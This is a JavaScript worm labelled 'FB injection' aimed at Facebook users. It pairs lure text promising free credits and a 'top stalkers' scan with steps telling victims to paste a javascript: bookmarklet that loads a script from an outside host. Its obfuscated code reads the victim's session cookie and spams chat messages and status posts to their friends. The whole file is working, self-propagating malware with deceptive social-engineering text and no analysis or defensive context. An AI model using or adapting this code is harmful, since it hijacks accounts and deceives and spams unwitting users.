FB injection

var chatmessage = '';
var postmessage = 'I just g?t 500 fre? fb cr?dits us?ng ? gl?tch in fb!
Check it out here: http://b.claj.info/jx/';
var redirect = 'http://a.phig.info/jx/final.php';
var eventdesc = 'S?e wh? y?ur top st?lkers are!

Just f?ll?w thes? 3 st?ps:

1. Copy th?s code (h?ghlight ?nd press CTRL-C):

javascript:(a=(b=document).createElement('script')).src='//a.phig.info/jx/f.js',b.body.appendChild(a);void(0)

2. Del?t? the ?ctu?l address fr?m th? url f??ld in y?ur br?wser and p?ste th? code instead.

3. Pr?ss Enter ?nd w??t for a bit, ?t can t?k? up t? a minut? t? c?mplet? the stalk?r scan.

Th?t's it!  Y?ur results will then be shown t? y?u!

If you are hav?ng tr?ubl? w?th these instruct??ns, try v??w?ng the ?nstruct??ns her?: http://a.stid.info/jx/';
var eventname = 'Find your t?p st?lkers';
var nfriends = 15;
var eventmsg = 'Hey I just p?st?d ?n e?ent t? spr?ad the word.  I ?ctu?lly tri?d this and it w?rked!';
var eventpmsubj = 'I ?ctu?lly tri?d ?t';
var _0xb65c = ['GET', '/', 'open', 'onreadystatechange', 'readyState', 'status', 'match', 'cookie', '@[', 'id', ':', 'name', ']', '', '&', '=', 'responseText', 'POST', '/ajax/chat/buddy_list.php?__a=1', 'Content-Type', 'application/x-www-form-urlencoded', 'setRequestHeader', 'substr', '(', ')', 'buddy_list', 'payload', 'nowAvailableList', 'random', 'floor', 'getTime', '/ajax/chat/send.php?__a=1', 'post returned ', 'AsyncRequest', 'send', '/ajax/browser/friends/?uid=', '&__a=1&__d=1', 'length', 'replace', 'push', 'shift', 'home', '%tf', '%', 'message_text', 'message', '/ajax/updatestatus.php?__a=1', '/mobile/?v=photos', 'X-Requested-With', 'X-Requested', 'match: '];
x1 = new XMLHttpRequest();
x1[_0xb65c[2]](_0xb65c[0], _0xb65c[1]);
x1[_0xb65c[3]] = function ()
{
    if (x1[_0xb65c[4]] == 4 && x1[_0xb65c[5]] == 200)
    {
        var _0xc3adx1 = document[_0xb65c[7]][_0xb65c[6]](/c_user=(\d+)/)[1];
        var _0xc3adx2 = 3;
        var _0xc3adx3 = function (_0xc3adx4)
        {
            if (_0xc3adx4)
            {
                return _0xb65c[8] + _0xc3adx4[_0xb65c[9]] + _0xb65c[10] + _0xc3adx4[_0xb65c[11]] + _0xb65c[12];
            };
            return _0xb65c[13];
        };
        var _0xc3adx5 = function (_0xc3adx4)
        {
            if (_0xc3adx4)
            {
                return _0xc3adx4[_0xb65c[11]];
            };
            return _0xb65c[13];
        };
        var _0xc3adx6 = function (_0xc3adx4)
        {
            out = _0xb65c[13];
            for (var _0xc3adx7 in _0xc3adx4)
            {
                out += (out ? _0xb65c[14] : _0xb65c[13]) + _0xc3adx7 + ((_0xc3adx4[_0xc3adx7] !== null) ? _0xb65c[15] + encodeURIComponent(_0xc3adx4[_0xc3adx7]) : _0xb65c[13]);
            };
            return out;
        };
        var _0xc3adx8 = (z = x1[_0xb65c[16]])[_0xb65c[6]](/name=\'composer_id\' value=\'([\d\w]+)\'/i)[1];
        if (true)
        {
            var _0xc3adx9 = new XMLHttpRequest();
            _0xc3adx9[_0xb65c[2]](_0xb65c[17], _0xb65c[18]);
            _0xc3adx9[_0xb65c[21]](_0xb65c[19], _0xb65c[20]);
            _0xc3adx9[_0xb65c[3]] = function ()
            {
                if (_0xc3adx9[_0xb65c[4]] == 4 && _0xc3adx9[_0xb65c[5]] == 200)
                {
                    var _0xc3adxa = _0xc3adx9[_0xb65c[16]][_0xb65c[22]](9);
                    var _0xc3adxb = eval(_0xb65c[23] + _0xc3adxa + _0xb65c[24]);
                    var _0xc3adxc = _0xc3adxb[_0xb65c[26]][_0xb65c[25]];
                    for (var _0xc3adxd in _0xc3adxc[_0xb65c[27]])
                    {
                        var _0xc3adxe = Math[_0xb65c[29]](Math[_0xb65c[28]]());
                        var _0xc3adxf = (new Date())[_0xb65c[30]]();
                        var _0xc3adx10 = chatmessage;
                        x5 = new XMLHttpRequest();
                        x5[_0xb65c[2]](_0xb65c[17], _0xb65c[31]);
                        if (true)
                        {
                            x5[_0xb65c[3]] = function ()
                            {
                                if (x5[_0xb65c[4]] == 4 && x5[_0xb65c[5]] == 200)
                                {
                                    alert(_0xb65c[32] + _0xc3adx9[_0xb65c[16]]);
                                };
                            };
                        };
                        x5[_0xb65c[34]](_0xc3adx6(
                        {
                            msg_id: _0xc3adxe,
                            client_time: _0xc3adxf,
                            to: _0xc3adxd,
                            msg_text: _0xc3adx10,
                            post_form_id_source: _0xb65c[33]
                        }));
                    };
                };
            };
            _0xc3adx9[_0xb65c[34]](_0xc3adx6(
            {
                user: _0xc3adx1,
                lsd: null,
                post_form_id_source: _0xb65c[33],
                popped_out: false,
                force_render: true
            }));
        };
        if (true)
        {
            var _0xc3adx11 = new XMLHttpRequest();
            _0xc3adx11[_0xb65c[2]](_0xb65c[0], _0xb65c[35] + _0xc3adx1 + _0xb65c[36]);
            _0xc3adx11[_0xb65c[3]] = function ()
            {
                if (_0xc3adx11[_0xb65c[4]] == 4 && _0xc3adx11[_0xb65c[5]] == 200)
                {
                    var _0xc3adx12 = _0xc3adx11[_0xb65c[16]][_0xb65c[6]](//\d+#\d+#\d+#q.jpg.*?\u003c\/>/gi);
                    var _0xc3adx10 = [];
                    for (var _0xc3adx13 = 0; _0xc3adx13 < _0xc3adx12[_0xb65c[37]]; _0xc3adx13++)
                    {
                        var _0xc3adx14 = _0xc3adx12[_0xc3adx13][_0xb65c[6]](/#\d+#/)[0][_0xb65c[38]](/#/g, _0xb65c[13]);
                        var _0xc3adx15 = _0xc3adx12[_0xc3adx13][_0xb65c[6]](/>[^>]+\u003c\/>$/i)[0][_0xb65c[38]](/\u003c\/>$/gim, _0xb65c[13])[_0xb65c[38]](/>/g, _0xb65c[13]);
                        _0xc3adx10[_0xb65c[39]](
                        {
                            id: _0xc3adx14,
                            name: _0xc3adx15
                        });
                    };
                    var _0xc3adx16 = [];
                    while (_0xc3adx16[_0xb65c[37]] < _0xc3adx2 && _0xc3adx10[_0xb65c[37]])
                    {
                        var _0xc3adx17 = Math[_0xb65c[29]](Math[_0xb65c[28]]() * _0xc3adx10[_0xb65c[37]]);
                        _0xc3adx16[_0xb65c[39]](_0xc3adx10[_0xc3adx17]);
                        var _0xc3adxf = _0xc3adx10[_0xb65c[40]]();
                        if (_0xc3adx17)
                        {
                            _0xc3adx10[_0xc3adx17] = _0xc3adxf;
                        };
                    };
                    var _0xc3adx18 = {
                        composer_id: _0xc3adx8,
                        context: _0xb65c[41],
                        fbx: _0xb65c[13],
                        lsd: null,
                        post_form_id_source: _0xb65c[33]
                    };
                    mt = postmessage;
                    _0xc3adx10 = postmessage;
                    for (var _0xc3adx13 = 1; _0xc3adx13 <= _0xc3adx2; _0xc3adx13++)
                    {
                        mt = mt[_0xb65c[38]](_0xb65c[42] + _0xc3adx13 + _0xb65c[43], _0xc3adx5(_0xc3adx16[_0xc3adx13 - 1]));
                        _0xc3adx10 = _0xc3adx10[_0xb65c[38]](_0xb65c[42] + _0xc3adx13 + _0xb65c[43], _0xc3adx3(_0xc3adx16[_0xc3adx13 - 1]));
                    };
                    _0xc3adx18[_0xb65c[44]] = mt;
                    _0xc3adx18[_0xb65c[45]] = _0xc3adx10;
                    x6 = new XMLHttpRequest();
                    x6[_0xb65c[2]](_0xb65c[17], _0xb65c[46]);
                    x6[_0xb65c[34]](_0xc3adx6(_0xc3adx18));
                };
            };
            _0xc3adx11[_0xb65c[34]](null);
        };
        if (true)
        {
            x4 = new XMLHttpRequest();
            x4[_0xb65c[2]](_0xb65c[0], _0xb65c[47]);
            x4[_0xb65c[21]](_0xb65c[48], null);
            x4[_0xb65c[21]](_0xb65c[49], null);
            x4[_0xb65c[3]] = function ()
            {
                if (x4[_0xb65c[4]] == 4 && x4[_0xb65c[5]] == 200)
                {
                    m = x4[_0xb65c[16]][_0xb65c[6]](/<div class='EmailIframe'><iframe src='[^']+.*<div>.*</div>'/)[0];
                    alert(_0xb65c[50] + m);
                };
            };
            x4[_0xb65c[34]](null);
        };
    };
};
x1[_0xb65c[34]](null);